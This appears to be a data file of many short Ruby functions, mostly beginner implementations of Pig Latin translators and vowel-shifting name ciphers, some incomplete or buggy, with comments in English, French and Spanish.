"def translate(sentence)\n #we .split that sentence. Because we do not give a limit, the sentence is automaticly split along the spaces.\n #we .map the result of the .split to make every word in the array a variable= word.\n sentence.split.map do |word|\n #We define what the first vowel of the word is by a different method (first_vowel) and assign it as variable v\n v = first_vowel(word)\n # we slice of the first vowel and the letter preceding that. then we add the first letter of the word at the end, and add +ay\n word.slice(v..-1) + word[0,v] + \"ay\"\n #We end the function and join the retunring array with spaces in between.\n end.join(\" \")\n end",
"def translate(word)\r\n vowels = \"aeio\".split('').to_a\r\n consonant = \"bcdfghjklmnpqrstuvwxyz\".split('').to_a \r\n answer = []\r\n \r\n while word.split(' ').length == 1 \r\n words = word.split('')\r\n until vowels.include?(words[0])\r\n words = words.rotate(1)\r\n end\r\n words << \"ay\"\r\n return words.join('')\r\n end # one word ^^\r\n \r\n if word.split(' ').length > 1 \r\n words = word.split(' ')\r\n end \r\n words.each do |i|\r\n if vowels.include?(i[0])\r\n i << \"ay\"\r\n answer << i\r\n #return answer\r\n end\r\n end\r\n \r\n words.each do |j|\r\n if consonant.include?(j[0])\r\n j = j.split('').rotate(1).join('') until vowels.include?(j[0])\r\n j = j + \"ay\"\r\n #return j\r\n #j << j #correct format for 1 consonant but it doesnt add to array\r\n answer << j\r\n end\r\n end\r\n \r\n return answer.join(' ')\r\n end",
"def process_word word\n const_match = /^[BCDFGHIJKLMNPQRSTVWXYZbcdfhhtjklmnpqrstvwxyz]+/.match(word)\n letter_match = /^[a-zA-Z]+/.match(word) #Match letters only\n other_chars = word[letter_match.to_s.length..-1]\n if const_match.to_s.length > 0\n return const_trans(letter_match.to_s, const_match) + other_chars\n else\n return vowel_trans(letter_match.to_s) + other_chars \n end\n \n end",
"def translate(word)\n\n @word_to_translate = word.split(/ /)\n @whole_sentence = []\n @vowels = \"aeiouy\"\n @output = \"\"\n\n#Première boucle pour récupérer tous les mots dans un array\n @word_to_translate.each do |x|\n @whole_sentence << x\n end\n\n#Ensuite je boucle sur chaque mot de cet array\n#Et j'effectue des tests sur les premières lettres\n\n# Plusieurs cas\n# 1- le mot commence par une voyelle donc\n# on rajoute juste ay à la fin\n# 2 - La 1ère lettre est un Q suivi de U\n#2bis ou SQU alors je considère également le tout comme une consonne\n# 3 - Trois consonnes\n# 4 - Deux consonnes\n# 5 - Une consonne\n\n#C'est très compliqué pour rien\n#Il aurait mieux fallu faire des cas\n\n\n@whole_sentence.each do |word_to_translate|\n\n @first_char = word_to_translate[0]\n @second_char = word_to_translate[1]\n @third_char = word_to_translate[2]\n @text_length = word_to_translate.length\n @new_word = word_to_translate\n @qu = @first_char + @second_char + @third_char\n if @vowels.include?(@first_char)\n #Ici on commence par une voyelle\n\n elsif @qu.include?(\"qu\")\n @new_word[@text_length] = @first_char\n @new_word[@text_length+1] = @second_char\n\n @index = @new_word.index(\"q\")\n if @index >=1\n @new_word[@text_length+2] = @third_char\n @new_word = @new_word[@index+2..-1]\n else\n @new_word = @new_word[@index+2..-1]\n end\n\n\n elsif !(@vowels.include?(@first_char) || @vowels.include?(@second_char)|| @vowels.include?(@third_char))\n\n#Ici on commence par trois consonnes\n @new_word[@text_length] = @first_char\n @new_word[@text_length+1] = @second_char\n @new_word[@text_length+2] = @third_char\n @new_word = @new_word[3..-1]\n\n elsif !(@vowels.include?(@first_char) || @vowels.include?(@second_char))\n\n#Ici on commence par deux consonnes\n @new_word[@text_length] = @first_char\n @new_word[@text_length+1] = @second_char\n @new_word = @new_word[2..-1]\n\n\nelse\n @new_word[@text_length] = @first_char\n @new_word = @new_word[1..-1]\n #Ici on commence par une consonne\n\nend\n\n@new_word += \"ay\"\n@output += @new_word + \" \"\nend\n\nreturn @output.chomp(\" \")\n#return @index\nend",
"def pig_latin_word(word)\n vowels = \"aeiou\"\n\n if vowels.include?(word[0])\n return word + \"yay\"\n end\n\n word.each_char.with_index do |char, i|\n if vowels.include?(char)\n return word[i..-1] + word[0...i] + \"ay\"\n end\n end\nend",
"def pig_latin_word(word)\n\tvowels = \"a,e,i,o,u\"\n \tif ( vowels.include?(word[0]) )\n return word + \"yay\"\n end\n \tfor i in (0...word.length)\n if (vowels.include?(word[i]))\n return word[i..-1] + word[0...i] + \"ay\"\n end\n end\nend",
"def pig_latin_word(word)\n vowels = 'aeiou'\n\n if vowels.include?(word[0])\n return word + 'yay'\n end\n\n word.each_char.with_index do | char, i |\n if vowels.include?(char)\n return word[i..-1] + word[0...i] + 'ay'\n end\n end\nend",
"def pig_latin_word(word)\n vowels = \"aeiou\" # vowel string to reference to contain all vowels\n \n # abcdefghijklmnopqrstuvwxyz\n\n # check if the word starts with a vowel, then add yay\n if vowels.include?(word[0]) # word is a string and check if starts with first position if its a vowel - check this character\n return word + \"yay\" # return + add string yay\n end \n\n # iterate through every letter of each word\n word.each_char.with_index do |char, idx| # iterate and grab every character\n if vowels.include?(char) # we know the behavior of each char is to iterate from left to right\n before_vowel = word[0...idx] # up to but not including vowel -- gives you `tr`\n after_vowel = word[idx..-1] # very last position, inclusive -- gives you `ash`\n return after_vowel + before_vowel + \"ay\"\n end\n end\n\nend",
"def convert (str)\r\n# REFERENCE : Using logic from this source https://stackoverflow.com/questions/13498688/pig-latin-method-translation\r\n alpha = ('a'..'z').to_a\r\n vowels = %w[a e i o u]\r\n consonants = alpha - vowels\r\n lstr = str.downcase\r\n if vowels.include?(lstr[0])\r\n str + 'way'\r\n elsif consonants.include?(lstr[0]) && consonants.include?(lstr[1]) && consonants.include?(lstr[2])\r\n str[3..-1] + str[0..2] + 'ay'\r\n elsif consonants.include?(lstr[0]) && consonants.include?(lstr[1])\r\n str[2..-1] + str[0..1] + 'ay'\r\n elsif consonants.include?(lstr[0])\r\n str[1..-1] + str[0] + 'ay'\r\n else\r\n str # return unchanged\r\n end\r\nend",
"def translateForOneWord(msg)\n aryChar = msg.split(\"\")\n if aryChar[0].match(/a|e|i|o|u/)\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && aryChar[1] == \"q\" && aryChar[2] == \"u\" # consonant + q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif aryChar[0] == \"q\" && aryChar[1] == \"u\" # q and u\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) && (not aryChar[2].match(/a|e|i|o|u/)) # if 3 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar << aryChar[2]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n elsif (not aryChar[0].match(/a|e|i|o|u/)) && (not aryChar[1].match(/a|e|i|o|u/)) #if it starts with 2 consonants\n aryChar << aryChar[0]\n aryChar << aryChar[1]\n aryChar.shift #this will remove the first character\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n\n elsif not aryChar[0].match(/a|e|i|o|u/)\n aryChar << aryChar[0]\n aryChar.shift #this will remove the first character\n aryChar << \"ay\"\n end\n aryChar.join(\"\")\nend",
"def pig_latin_word(word)\r\n\tif word[0].downcase =~ /[aeiou]/\r\n\t\tword << \"way\" \r\n\telse\r\n\t\tn = /[aeiou]/.match word.downcase\r\n\t\tn.to_s + n.post_match + n.pre_match + \"ay\"\r\n\tend\r\nend",
"def translator(phrase)\r\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\r\n idx = 0\r\n translation = \"\"\r\n while idx < phrase.length\r\n if alpha.index(phrase[idx].downcase) == nil\r\n translation += \" boing\"\r\n elsif alpha.index(phrase[idx].downcase) < alpha.length / 2 && /[[:upper:]]/ =~ phrase[idx]\r\n translation += \" bloop\"\r\n elsif phrase[idx] == \"e\" || /[[:upper:]]/ =~ phrase[idx]\r\n translation += \" buzz\"\r\n else\r\n translation += \" beep\"\r\n end\r\n idx += 1\r\n end\r\n return translation\r\nend",
"def pig_latin_word(str)\n vowels = \"aeiou\"\n\n if vowels.include?(str[0])\n return str + \"yay\"\n else\n str.each_char.with_index do |char, index|\n if vowels.include?(char)\n return str[index..-1] + str[0...index] + \"ay\"\n end\n end\n end\nend",
"def aba_translate(str)\n vowel = \"aeiou\"\n b_arr = str.split(\"\").map do |char|\n if vowel.include?(char.downcase)\n char + \"b\" + char\n else\n char\n end\n end\n b_arr.join(\"\")\nend",
"def create_alias(word)\n vowels_lower = ['a','e','i','o','u']\n vowels_upper = vowels_lower.map(&:upcase)\n consonants_lower = ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n consonants_upper = consonants_lower.map(&:upcase)\n \nupdated_vowels = word.map do |char|\n case\n when vowels_lower.include?(char)\n vowels_lower.rotate(1)[vowels_lower.index(char)]\n when vowels_upper.include?(char)\n vowels_upper.rotate(1)[vowels_upper.index(char)]\n when consonants_lower.include?(char)\n consonants_lower.rotate(1)[consonants_lower.index(char)]\n when consonants_upper.include?(char)\n consonants_upper.rotate(1)[consonants_upper.index(char)]\n else (char)\nend\nend\nend",
"def pig_latin(word)\n if word.chr =~ /[aeiou]/\n word + \"way\"\n\n else while word =~ /\\A[^aeiou]/\n word = \"#{word[1..-1]}#{word[0..0]}\"\n if word.chr =~ /[aeiou]/\n end\n end\n word + \"ay\"\nend\nend",
"def pig_latin_word(word)\r\n latin = word\r\n word.each_char.with_index do |char,idx|\r\n if isVowel(char)\r\n if idx == 0\r\n return latin + 'yay'\r\n else\r\n return latin + 'ay'\r\n end\r\n else\r\n letter = latin[0]\r\n latin[0] = \"\"\r\n latin += letter\r\n end\r\n end\r\nend",
"def aba_translate(str)\n counter = 0\n vowels = \"aeiouAEIOU\"\n str.each_char.with_index do |char, ind|\n if vowels.include?(char)\n str.insert(ind + 1 + counter, \"b\" + char)\n counter += 2\n end\n end\nend",
"def pig_latin_word(word)\n pigLatin = \"\"\n str1 = \"\"\n str2 = \"\"\n\n if is_vowel(word[0])\n pigLatin = word + \"yay\"\n return pigLatin\n end\n\n word.each_char.with_index do |char, i|\n if is_vowel(char)\n return word[i..-1] + word[0...i] + \"ay\"\n end\n end\nend",
"def pig_latin_translate\n english_word_arr = []\n vowel_array = %w(a e i o u)\n \n print \"What word would you like to translate? \"\n input = gets.chomp!.downcase\n \n english_word_to_translate = input.split(/ /)\n \n english_word_to_translate.each do |word|\n english_word_arr = word.split(//)\n\n\n\n #split by words\n #split by character\n #Take first letter move to end\n #add 'Ay'\n #join and return word\n end\nend",
"def translate(sentence)\n\twordsArray = sentence.split(' ')\n\treturnArray = []\n\n\twordsArray.each do |e| \n\t\twhile true\n\t\t\tif e[0].match(/[aeiou]/)\n\t\t\t\te = e + 'ay'\n\t\t\t\treturnArray.push(e)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tif e[0..1].match(/qu/)\n\t\t\t\t\te = e + e[0..1]\n\t\t\t\t\te[0..1] = ''\n\t\t\t\telse\n\t\t\t\t\te = e + e[0]\n\t\t\t\t\te[0] = ''\n\t\t\t\tend\n\t\t\t\t#if e[0..2].match(/sch/)\n\t\t\t\t#puts e\n\t\t\tend\n\t\tend\n\tend\n\n\n\t#puts returnArray\n\treturn returnArray.join(' ')\nend",
"def vowel_adv(str)\r\n str = secret_name(str)\r\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n str = str.split('')\r\n str_new = str.map do |char|\r\n if vowels.include?(char)\r\n vowels.rotate(1)[vowels.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n str_new.join\r\nend",
"def translate(input)\n\tinputArray = input.downcase.split(\" \")\n\tanswerArray = []\n\tvowelList = [\"a\", \"e\", \"i\", \"o\", \"u\", \"y\"]\n\tcurrentWordNum = 0\n\tcurrentLetterNum = 0\n\tnumberOfWords = inputArray.length - 1\n\tcurrentWordStr = inputArray[currentWordNum].to_s\n\tcurrentWordLength = currentWordStr.length - 1\n\tcurrentLetterStr = inputArray[currentWordNum][currentLetterNum].to_s\n\n\twhile currentWordNum <= numberOfWords\n\n\t\twhile currentLetterNum <= currentWordLength\n\n\t\t\t#if vowelList.include? currentLetterStr == true\n\t\t\tif currentLetterStr.among?vowelList\n\n\t\t\t\tpreviousLetterNum = currentLetterNum - 1\n\t\t\t\tpreviousLetterStr = inputArray[currentWordNum][previousLetterNum].to_s\n\n\t\t\t\tif currentLetterNum == 0\n\t\t\t\t\tcurrentWordStr = inputArray[currentWordNum].to_s\n\t\t\t\t\t\n\t\t\t\t\tnewWordStr = currentWordStr + \"ay\"\n\t\t\t\t\tputs \"newWordStr = \" + newWordStr\n\t\t\t\t\t\n\t\t\t\t\tanswerArray = answerArray.push newWordStr\n\t\t\t\t\tputs \"answerArray = \" + answerArray.to_s\n\n\t\t\t\t\tcurrentLetterNum = currentWordLength + 1\n\n\t\t\t\telsif previousLetterStr == \"q\"\n\t\t\t\t\t#quiet = ietquay\n\t\t\t\t\tcurrentWordStr = inputArray[currentWordNum].to_s\n\t\t\t\t\t\n\t\t\t\t\ttempLetterNum = currentLetterNum + 1\n\t\t\t\t\tnewWordPrefix = currentWordStr[tempLetterNum..currentWordLength]\n\t\t\t\t\t\n\t\t\t\t\tnewWordSuffix = currentWordStr[0..currentLetterNum]\n\n\t\t\t\t\tputs \"newWordPrefix = \" + newWordPrefix\n\t\t\t\t\tputs \"newWordSuffix = \" + newWordSuffix\n\t\t\t\t\t\n\t\t\t\t\tnewWordStr = newWordPrefix + newWordSuffix + \"ay\"\n\t\t\t\t\tputs \"newWordStr = \" + newWordStr\n\t\t\t\t\t\n\t\t\t\t\tanswerArray = answerArray.push newWordStr\n\t\t\t\t\tputs \"answerArray = \" + answerArray.to_s\n\n\t\t\t\t\tcurrentLetterNum = currentWordLength + 1\n\n\t\t\t\telse\n\t\t\t\t\tcurrentWordStr = inputArray[currentWordNum].to_s\n\t\t\t\t\t\n\t\t\t\t\tnewWordPrefix = currentWordStr[currentLetterNum..currentWordLength]\n\t\t\t\t\ttempLetterNum = currentLetterNum - 1\n\t\t\t\t\tnewWordSuffix = currentWordStr[0..tempLetterNum]\n\t\t\t\t\t\n\t\t\t\t\tnewWordStr = newWordPrefix + newWordSuffix + \"ay\"\n\t\t\t\t\tputs \"newWordStr = \" + newWordStr\n\t\t\t\t\t\n\t\t\t\t\tanswerArray = answerArray.push newWordStr\n\t\t\t\t\tputs \"answerArray = \" + answerArray.to_s\n\n\t\t\t\t\tcurrentLetterNum = currentWordLength + 1\n\t\t\t\tend\n\n\t\t\telse\n\n\t\t\t\tcurrentLetterNum = currentLetterNum + 1\n\t\t\t\tcurrentLetterStr = inputArray[currentWordNum][currentLetterNum].to_s\n\n\t\t\tend\n\n\t\tend\n\n\t\tcurrentWordNum = currentWordNum + 1\n\n\t\tif currentWordNum > numberOfWords\n\t\t\tbreak\n\t\tend\n\n\t\tcurrentWordStr = inputArray[currentWordNum].to_s\n\t\t# puts \"currentWordStr = \" + currentWordStr.to_s\n\n\t\tcurrentWordLength = currentWordStr.length - 1\n\t\t# puts \"currentWordLength = \" + currentWordLength.to_s\n\t\tcurrentLetterNum = 0\n\t\tcurrentLetterStr = inputArray[currentWordNum][currentLetterNum].to_s\n\n\tend\n\n\tanswer = answerArray.join(' ')\n\tputs answer\n\treturn answer\nend",
"def pig_latin(word)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n ind = word.index(/[aeiou]/)\n\n if vowels.include?(word[0])\n word.delete(\" \") << \"ay\"\n else\n if ind == nil\n word << \"ay\"\n else\n final_word = word.chars.drop(ind) << word.chars.slice(0..ind-1) << \"ay\"\n final_word.join\n end\n end\n end",
"def pig_latin(word)\n check_vowel = %w(a e i o u).include?(word[0])\n if check_vowel == true\n word + 'way'\n else\n word_array = word.chars.to_a\n until word_array[0].to_s == \"a\" || word_array[0].to_s == \"e\" || word_array[0].to_s == \"i\" || word_array[0].to_s == \"o\" || word_array[0].to_s == \"u\"\n word_array << word_array[0]\n word_array.shift\n end\n word_array.join + 'ay'\n end\nend",
"def translate\n words\n words_array = []\n pig_latin_words_array = []\n @words_array.each do |word|\n if starts_with_vowel?(word)\n word += 'way'\n elsif !starts_with_vowel?(word[1..-1])\n word = word[2..-1] + word[0] + word[1] + 'ay'\n else\n word = word[1..-1] + word[0] + 'ay'\n end\n pig_latin_words_array << word\n end\n return pig_latin_words_array\n end",
"def pig_latin_word(english)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n if vowels.include?(english[0].downcase)\n english\n else\n vowel_index = english.index(/[aeiouy]/)\n front_half = english.slice!(vowel_index..-1)\n back_half = english\n punct = front_half.slice!(/\\W$/)\n punct = \"\" if punct == nil\n pig_word = front_half + back_half + \"ay\" + punct\n end\nend",
"def vowel_adv(str)\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n str = str.split('')\n str_new = str.map do |char|\n if vowels.include?(char)\n vowels.rotate(1)[vowels.index(char)]\n else\n char\n end\n end\n str_new.join\nend",
"def pig_latin_word(word)\n word_array = word.split('')\n vowels = 'aeiou'\n if vowels.include?(word_array.first)\n return \"#{word_array.join}yay\"\n end\n\n until vowels.include?(word_array.first)\n char = word_array.shift\n word_array.push(char)\n end\n\n \"#{word_array.join}ay\"\nend",
"def pig_latin word\n vowels = %w(a e i o u)\n if vowels.include? word[0]\n word + 'yay'\n else\n vw = nil\n word.chars.each_with_index do |x,xi|\n vw = xi and break if vowels.include? x\n end\n pre = word[0...vw]\n suf = word[vw..-1]\n suf + pre + 'ay'\n end\nend",
"def translate(sentence)\r\n words = sentence.split(\" \")\r\n words.collect! do |a|\r\n if(a =~ /\\w\\.\\.\\.\\w/) #matching e.g \"yes...no\"\r\n morewords = a.split(\"...\")\r\n ##\r\n #alternative: allows for recursion, but loses accuracy since \"a...b\" becomes \"a ... b\"\r\n #probably some non-messy way to make it work, and be less redundant too\r\n #\r\n #morewords.insert(1, \"...\")\r\n #translate(morewords.join(\" \"))\r\n pig(morewords[0], 1) + \"...\" + pig(morewords[1], 1)\r\n elsif(a =~ /\\w\\W\\w/ and !(a =~ /'/)) #matching e.g. \"steins;gate\", \"ninety-nine\", but not \"it's\"\r\n nonletter = a.scan(/\\W/)[0]\r\n morewords = a.split(/\\W/)\r\n #morewords.insert(1, nonletter)\r\n #translate(morewords.join(\" \"))\r\n pig(morewords[0], 1) + nonletter + pig(morewords[1], 1)\r\n elsif(a[0..1].match(/qu/)) #quiet = ietquay\r\n pig(a, 2)\r\n elsif(a[0..2].match(/sch|.qu/)) #school = oolschay, square = aresquay\r\n pig(a, 3)\r\n else\r\n x = a.index(/[AaEeIiOoUu]/) #starts with other consonant(s) or a vowel; find the first vowel\r\n if(!(x.nil?)) #found at least one vowel\r\n pig(a, x) \r\n else #x is nil, no vowels found\r\n a.index(/[[:alpha:]]/) ? pig(a, 1) : a #if it contains letters, attempt to process; otherwise, do nothing\r\n end\r\n end\r\n end\r\n return words.join(\" \")\r\nend",
"def kacokadekame(word)\n 'ka' + word.gsub(/([aeiouy])(?=[^aeiouy])/i, '\\1ka')\nend",
"def single_word(word)\n if word[0] =~ /[aeiou]/i\n word + \"way\"\n else\n # nueva condicionante para palabras de puras consonantes sin vocales. ej: by\n if word.split(/([aeiou].*)/).length > 1\n # Parte palabra en 2 y lo mete en un array. 1er elemento es de consonat(es) iniciales, 2o la parte restante de la palabra a partir de e incluyendo la primera vocal\n word.split(/([aeiou].*)/)[1] + word.split(/([aeiou].*)/)[0] + \"ay\"\n else\n word.split(/([aeiou].*)/)[0]\n end\n end\nend",
"def next_vowel(name)\n name = name.split('')\n name.each do |indivLetter| \n if indivLetter == \"a\"\n indivLetter.replace(\"e\")\n elsif indivLetter == \"e\"\n indivLetter.replace(\"i\")\n elsif indivLetter == \"i\"\n indivLetter.replace(\"o\")\n elsif indivLetter == \"o\"\n indivLetter.replace(\"u\")\n elsif indivLetter == \"u\"\n indivLetter.replace(\"a\")\n end\n end\nend",
"def case_q(word,first_letter )\n vowel = [\"a\",\"e\",\"i\",\"o\",\"u\",\"y\"]\n #si le q est la première lettre du mot\n if first_letter\n #si la 2eme lettre n'est pas un 'u', on traite le mot avec translate_consonant\n unless word[1] ==\"u\"\n translate_consonant(word)\n #si la 2eme lettre est un 'u'\n else\n move_and_add(word,2)\n end\n #si il est à la seconde position\n else\n #si la prémière lettre est une voyelle\n if vowel.include?(word[0])\n word+\"ay\"\n #si la prémière lettre n'est pas une voyelle (consonne) et la 3eme, un 'u'\n elsif not vowel.include?(word[0]) && word[2] == \"u\"\n move_and_add(word,3)\n else\n translate_consonant(word)\n end\n end\nend",
"def translate(string)\n\tsufix = ''\n\tres = ''\n\n\tword_a = string.split(' ')\n\n\tword_a.each do |word|\n\t\tsufix = ''\n\t\twhile !word.start_with?('a', 'e', 'i', 'o', 'u')\n\t\t\tif word[0..1] == 'qu'\n\t\t\t\tsufix += word[0..1]\n\t\t\t\tword[0..1] = ''\n\t\t\telse\n\t\t\t\tsufix += word[0]\n\t\t\t\tword[0] = ''\n\t\t\tend\n\t\tend\n\t\tres += word + sufix + 'ay '\n\tend\n\t\n\tres.rstrip\nend",
"def aliass(full_name)\n alphabet = \"bcdfghjklmnpqrstvwxyz\"\n vowels = \"aeiou\"\n new_string = \"\"\n \n #break input word into array and iterate through each letter\n #if the letter is a vowel, take it and change it to next_vowel\n #if the letter is a consonant, take it and change it to consonant\n #else just add with no modification\n full_name.split('').each do |letter|\n if vowels.include?(letter)\n new_string += vowel(letter)\n elsif alphabet.include?(letter)\n new_string += consonant(letter)\n else\n new_string += letter\n end\n end\n #transform this new string into an array\n new_word = new_string.split(' ')\n #swap first and second word in array\n new_word.reverse!\n #turn new word into string\n new_word.map {|names| names.capitalize!}\n new_string = new_word.join(\" \")\n end",
"def pigatize(text)\n if starts_with_vowel?(text)\n text + \"way\"\n else\n text.chars.rotate.join + \"ay\"\n end\nend",
"def translate_word(word)\n split_array = split_into_array(word)\n rotated_array = rotate_at_vindex(split_array)\n ay_array = add_ay(rotated_array)\n final_array = back_to_s(ay_array)\nend",
"def piglatinize(word)\n vowels = ['a','e','o','u','i','A','E','O','U','I']\n split_word = word.split('')\n\n if vowels.include?(split_word[0])\n split_word << \"way\"\n else\n until vowels.include?(split_word[0])\n split_word.rotate!(1)\n end\n split_word << \"ay\"\n end\n split_word.join\n end",
"def pig_latin word\n vowel = word =~ /[aeio]|(?<!q)u/\n word[vowel..-1]+word[0...vowel]+'ay'\nend",
"def piglatinize_word(word)\r\n # vowel at the start\r\n # 3 consonants\r\n # 2 consonants\r\n # 1 consonant\r\n # count consonants\r\n count = 0\r\n # check if word starts with a vowel\r\n if !consonant?(word[0])\r\n word += \"w\"\r\n else\r\n count += 1\r\n end\r\n \r\n # check if word starts with 3 consonants\r\n if count == 1 && consonant?(word[1]) && consonant?(word[2])\r\n count += 2\r\n word = word.slice(3..-1) + word.slice(0,3)\r\n # check if word starts with 2 consonants if it isn't 3\r\n elsif count == 1 && consonant?(word[1])\r\n word = word.slice(2..-1) + word.slice(0,2)\r\n # check if word starts with 1 consonant if it isn't 3 or 2\r\n elsif count == 1 \r\n word = word.slice(1..-1) + word.slice(0)\r\n end\r\n\r\n # finally add the \"ay\" using += or <<\r\n word+= \"ay\"\r\n end",
"def translate(phrase)\nstring = phrase.split() \nstring.each do |string|\n\tif string.start_with?(\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"z\")\n\t\treverse = string.reverse!\n\t\tpig = reverse + \"ay\"\n\t\treturn pig\n\telsif string.start_with?(\"a\",\"e\",\"i\",\"o\",\"u\",\"y\")\n\t\treturn string + \"ay\"\n\t# elsif string.slice(0, 2)? (\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"z\")\n\t# \treverse = string.reverse!\n\t# \tstring.except[string.slice(0, 2)]\n\t# \tpig = reverse + \"ay\"\n\telse \n\t\tprint \"L'entrée est de type inconnue\"\n\tend\nend\nend",
"def piglatin(word)\n new_string = \"\"\n vowels = (\"aeiou\")\n word.split(\"\").each_with_index do |letter, index| \n if !vowels.include?(letter.downcase)\n next\n else\n if index == 0\n new_string += word + \"way\"\n return new_string\n else\n up_to_vowel = word.slice(0...index)\n after_vowel = word.slice(index..-1)\n new_string += after_vowel + up_to_vowel + \"ay\"\n return new_string\n end\n end\n end\n end",
"def pig_latin(word)\n word_array = word.split(\"\")\n if word.start_with?(\"a\",\"e\",\"i\",\"o\",\"u\")\n return \"#{word}way\"\n else\n until word_array[0].start_with?(\"a\",\"e\",\"i\",\"o\",\"u\")\n word_array = word_array.rotate(1)\n end\n return \"#{word_array.join}ay\"\n end\nend",
"def eval_ele(word)\n\n formWord = []\n word.each_char.with_index do |let, idx|\n if idx == 0\n formWord << word[idx].upcase\n else\n formWord << word[idx].downcase\n end\n end\n\n return formWord.join(\"\")\n\nend",
"def vowel_converter(swapped_name)\r\n\t# Forces all letters to be lower case in order for code to work properly\r\n\tcode_name = swapped_name.downcase.chars\r\n\tvowels = %w{a e i o u}\r\n\tcode_name.map! do |letter|\r\n\t\t# Edge case fix to make code work as intended\r\n\t\tif letter == \"u\"\r\n\t\t\tletter = \"a\"\r\n\t\telsif vowels.include?(letter)\r\n\t\t\tvowels[vowels.index(letter) + 1]\r\n\t\telse\r\n\t\t\tletter\r\n\t\tend\r\n\tend\r\n\t# This re-capitalizes the first letter of each part of the name\r\n\tcode_name.join('').split.map(&:capitalize).join(' ')\r\nend",
"def pig_latin(word)\n vowels = ['a', 'e', 'i', 'o', 'u']\n suffix = 'ay'\n position = 0\n word = word.split(//)\n\n word.any? do |character|\n if vowels.include?(character)\n position = word.find_index(character)\n end\n end\n\n word = word.join.downcase\n punctuation = punctuation?(word) ? word.chars.last : ''\n word_start = punctuation?(word) ? word[position..-2] : word[position..-1]\n\n if position > 0\n word = word_start + word[0...position] + suffix + punctuation \n return word\n end\n\n word = word + suffix\nend",
"def vowel_cipher(string)\n change = {\n \"a\"=>\"e\",\n \"e\"=>\"i\",\n \"i\"=> \"o\",\n \"o\" => \"u\",\n \"u\"=> \"a\"\n }\n\n vowels= \"aeiou\"\n\n new_arr = string.split(\"\").map do |char|\n if vowels.include?(char)\n change[char]\n else \n char \n end \n end \n return new_arr.join(\"\")\nend",
"def reverberate(sentence)\n vowels = \"aeiou\"\n words = sentence.split(\" \")\n converted_sentence = []\n\n words.each do |word|\n if word.length < 3\n converted_sentence << word\n elsif vowels.include?(word[-1].downcase)\n converted_sentence << word + word[0].downcase + word[1..-1]\n else\n uppercase = word[0] == word[0].upcase ? true : false\n count = word.length - 1\n\n while count > 0\n if vowels.include?(word[count])\n new_word = word + word[count..-1]\n converted_sentence << new_word\n break\n end\n count -= 1\n end\n end\n end\n\n converted_sentence.join(\" \")\nend",
"def const_trans(word, const_match)\n is_up = (word[0..0].upcase == word[0..0])\n word = word[const_match.to_s.length..-1] + const_match.to_s.downcase + \"ay\" \n return (is_up) ? word[0..0].upcase + word[1..-1]: word\n end",
"def swapping_vowels(vowel_char)\n vowels = { 'a' => 'e', 'e' => 'i', 'i' => 'o', 'o' => 'u', 'u' => 'a' }\n\n# We take our arguement and run the iteration and create our if/els/els statement.\n# we use .map to store the next change of our letter and if the vowels are included printer the letter of the vowels otherwise print them downcase and switch them to uppercase.\n vowel_char.map! do |letter|\n if vowels.include?(letter)\n vowels[letter]\n elsif vowels.include?(letter.downcase)\n vowels[letter.downcase].upcase\n else\n letter\n end\n end\nend",
"def silly_talk(sent)\n vowels = 'aeiou'\n words = sent.split\n new_words = []\n\n words.each do |word|\n if vowels.include?(word[-1])\n new_words << word + word[-1] \n else \n new_words << word.split('').map { |c| vowels.include?(c) ? (c + 'b' + c) : c }.join\n end \n end \n\n new_words.join(' ')\n\nend",
"def pig_latin_name(word)\n# and returns a new string (pig latinified)\n# need to define vowels (can be an array?)\n vowels_list = vowels\n# break word into letters\n letters = word.split(\"\")\n# iterate through each letter of the word\n# until we hit a vowel\n letters.each do |letter|\n\n # check if first letter is vowel or consonant\n if is_consonant?(letter)\n # move it to the end\n removed_consonant = letters.shift\n letters = letters + removed_consonant.split\n #\n else\n letters.push(\"ay\")\n return letters.join\n end\n\n # then add \"ay\" at the end and return\n end\n\nend",
"def vowel_changer(letter)\r\n\tif letter == \"u\"\r\n\t\tnew_letter = \"a\"\r\n\telse\r\n\t\tvowel_index = \"aeiou\".index(letter)\r\n \t\tnew_letter =\"aeiou\"[vowel_index.next]\r\n\tend\r\nend",
"def next_vowel (vowel)\n vowel_downcase = vowel.downcase\n next_vowel = vowel_downcase.gsub(/[aeiou]/, 'a' => 'e', 'e' => 'i', 'i' => 'o', 'o' => 'u', 'u' => 'a')\n #Capitalize next letter if the original letter is upper case\n next_vowel = capitalize(vowel, next_vowel)\nend",
"def vowel_advance(letter)\r\n vowel = \"aeiou\"\r\n if letter == \"u\"\r\n letter = \"a\"\r\n else\r\n letter = vowel[vowel.index(letter) + 1]\r\n end\r\nend",
"def encode(word)\n word.gsub(/[aeiou]/, 'a' => 1, 'e' => 2, 'i' => 3, 'o' => 4,\n 'u' => 5)\nend",
